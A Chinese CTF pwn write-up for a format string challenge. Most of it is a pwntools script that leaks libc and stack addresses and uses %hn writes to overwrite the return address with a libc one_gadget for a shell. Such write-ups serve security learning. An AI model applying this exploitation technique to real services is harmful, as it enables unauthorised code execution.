分析
保护
用ida反编译
存在两次格式化漏洞输出
查看栈
我是通过这几个地址来泄露,计算出libc,栈地址,程序地址,但本地栈移和远程栈格式化偏移有点相差(我是一个试出来)
p.sendline('%19$p%23$p%21$p')
p.recvuntil('0x')
libc_base=int(p.recv(12),16)-0x24083
p.recvuntil('0x')
base_addr=int(p.recv(12),16)-0x122E
p.recvuntil('0x')
ret_addr=int(p.recv(12),16)-0xf0
print(hex(libc_base),hex(base_addr),hex(ret_addr))
然后就是通过rbp地址找出返回地址的偏移,不要看本地,我本地和远程有相差,所以我就一个个试出来了(泄露的rbp-0xf0)
返回地址知道了,libc地址知道了,直接用%n修改返回值为libc onegedget,
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('x',0)
p.sendline('%19$p%23$p%21$p')
p.recvuntil('0x')
libc_base=int(p.recv(12),16)-0x24083
p.recvuntil('0x')
base_addr=int(p.recv(12),16)-0x122E
p.recvuntil('0x')
ret_addr=int(p.recv(12),16)-0xf0
print(hex(libc_base),hex(base_addr),hex(ret_addr))
p.recvuntil('second str:')
one_gadget=libc_base+0xe3b01
#0xe3b01
#0xe3afe
#0xe3b04
n1=one_gadget&0xffff #11
n2=(one_gadget&0xffff0000)>>16 #12
n3=(one_gadget&0xffff00000000)>>32 #13
print(hex(n1),hex(n2),hex(n3))
payload=''
if n1>n2 and n1>n3 and n2>n3:
payload=(f'%{n3}d%13$hn%{n2-n3}d%12$hn%{n1-n2}d%11$hn'.ljust(40,'a')).encode()+p64(ret_addr)+p64(ret_addr+2)+p64(ret_addr+4)
p.send(payload)
if n1>n2 and n1>n3 and n3>n2:
payload=(f'%{n2}d%12$hn%{n3-n2}d%13$hn%{n1-n3}d%11$hn'.ljust(40,'a')).encode()+p64(ret_addr)+p64(ret_addr+2)+p64(ret_addr+4)
p.send(payload)
if n2>n1 and n2>n3 and n1>n3:
payload=(f'%{n3}d%13$hn%{n1-n3}d%11$hn%{n2-n1}d%12$hn'.ljust(40,'a')).encode()+p64(ret_addr)+p64(ret_addr+2)+p64(ret_addr+4)
p.send(payload)
if n2>n1 and n2>n3 and n3>n1:
payload=(f'%{n1}d%11$hn%{n3-n1}d%13$hn%{n2-n3}d%12$hn'.ljust(40,'a')).encode()+p64(ret_addr)+p64(ret_addr+2)+p64(ret_addr+4)
p.send(payload)
#payload格式判断我没写完,多运行几次就行
p.interactive()
结语
因为自己用的kali,libc版本问题,与远程有相差,所以一直在一步试出来的
这题的思路简单,就是泄露,再修改ret addr为onegedget
(本人是菜鸟,想找对CTF感兴趣的CTFer,一起交流学习,共同进步,迈向星辰大海!!!!^_^(有兴趣的加扣群:470196890))